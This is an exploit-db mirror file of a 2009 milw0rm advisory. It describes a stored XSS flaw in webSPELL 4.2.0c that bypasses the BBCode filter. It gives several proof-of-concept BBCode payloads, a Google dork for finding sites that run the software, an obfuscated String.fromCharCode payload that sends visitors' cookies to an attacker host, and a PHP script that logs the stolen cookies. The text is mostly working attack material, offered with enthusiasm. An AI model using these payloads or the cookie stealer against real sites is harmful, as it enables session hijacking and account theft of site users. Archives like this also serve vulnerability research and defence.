bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
exploit-db-mirror/platforms/php/webapps/8453.txt
Offensive Security 477bcbdcc0 DB: 2016-03-17 
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

121 lines
6.2 KiB
Text
Executable file
Raw Blame History

***********************************************************************************************
***********************************************************************************************
** **
** **
** [] [] [] [][][][> [] [] [][ ][] [] [][]] [] [> [][][][> [][][][] **
** || || || [] [][] [] [] [] [] [] [] [] [] [] [] **
** [> [][][][] [][][][> [] [] [] [] [] [][] [] [][] [][][][> [] [] **
** [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
**==[> [] [] [] [][] [] [] [][][] [] [][] [] [] [] >>--
** [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
[> [[[]]] [][][][> [][] [] [][[] [[]] [][] [][][] [] [> [][][][> <][] [] **
** **
** **
** ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O **
** PROUD TO BE SPANISH! **
** **
***********************************************************************************************
***********************************************************************************************
----------------------------------------------------------------------------------------------
| XSS (BYPASS BBCODE) COOKIES STEALING VULNERABILITY |
|--------------------------------------------------------------------------------------------|
| | webSPELL 4.2.0c | |
| CMS INFORMATION: ---------------- |
| |
|-->WEB: http://www.webspell.org/ (affected too) |
|-->DOWNLOAD: http://www.webspell.org/download.php?fileID=22 |
|-->DEMO: http://www.webspell.org/index.php?site=demo |
|-->CATEGORY: CMS / Portals |
|-->DESCRIPTION: webSPELL is a free Content Management System (CMS) for clans and |
| gaming communities, providing all needed features like forums, gallery, clanwar... |
| |
| CMS VULNERABILITY: |
| |
|-->TESTED ON: firefox 3.0.8 and IE 6.0.29 (Default) |
|-->DORK: "Powered by webSPELL" |
|-->CATEGORY: XSS/BYPASS-BBCODE/COOKIES STEALING |
|-->AFFECT VERSION: LAST = 4.2.0C (maybe <= ?) |
|-->Discovered Bug date: 2009-04-14 |
|-->Reported Bug date: 2009-04-14 |
|-->Fixed bug date: 2009-04-14 |
|-->Info patch (v-4.2.0d): http://www.webspell.org/ |
|-->Author: YEnH4ckEr |
|-->mail: y3nh4ck3r[at]gmail[dot]com |
|-->WEB/BLOG: N/A |
|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo. |
----------------------------------------------------------------------------------------------
-----------
BUG ZONES:
-----------
#BBCode is bypassed by differents methods and XSS is possible.
----------------------------------
PROOF OF CONCEPT (SEARCHING XSS):
----------------------------------
BOTH (FIREFOX AND IE):
[email][img]http://a.com onmouseover=alert(1) [/img][/email]
[email][email][img]http://a.com onmouseover=alert(1) [/img] [/email][/email]
[email][url][img]http://a.com onmouseover=alert(1) [/img] [/url][/email]
Maybe you find more...I looked for a bit xD
ONLY IE:
[email][email][url]http://a.com onmouseover=alert(1) [/url]http://' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url]http:// ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com' onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
[email][email][url]http://a.com onmouseover=alert(1) [/url] ' onmouseover=alert(1) [/email][/email]
Note:Space between "(1)" and "[/img]" sometimes is necessary...
Combinations of tags like this:
[email][img]http://a.com onmouseover=alert(1) [/img][/email]
Generate the follow html code:
<a href="mailto:..."><img src=\"http://a.com onmouseover=alert(1) \" id=\"ws_image_123966998343_1\" border=\"0\" onload=\"checkSize('123966998343_1', 450, 500)\" alt=\"http://a.com onmouseover=alert(1) \" style=\"max-width: 451px; max-height: 501px;\" /><div id=\"ws_imagediv_123966998343_1\" style=\"display:none;\"><a href='http://a.com onmouseover=alert(1) ' target='_blank'><i>(Auto resize: show original)</i></a></div></a>
--------------------------
COOKIES EXPLOIT (BBCODE):
--------------------------
I'll use the first PoC (IE6 and firefox) and String.fromCharCode
to bypass quotes and send cookies to my host:
http://www.myphpcookiestealing.es/capturethecookies.php?ck=
Well...Let's GO!
[email][img]http://www.victim.es onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie [/img][/email]
------------------------------
COOKIES STEALER (PHP SCRIPT):
------------------------------
<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n--EOF--\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect...we don't want to alert xDD
?>
You can use any cookie editor and you have one nice shot (XSSSHEll+XSSTunnel = many nice shots xD)
*******************************************************************
ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
*******************************************************************
-------------------EOF---------------------------------->>>ENJOY IT!
# milw0rm.com [2009-04-16]
Reference in a new issue View git blame Copy permalink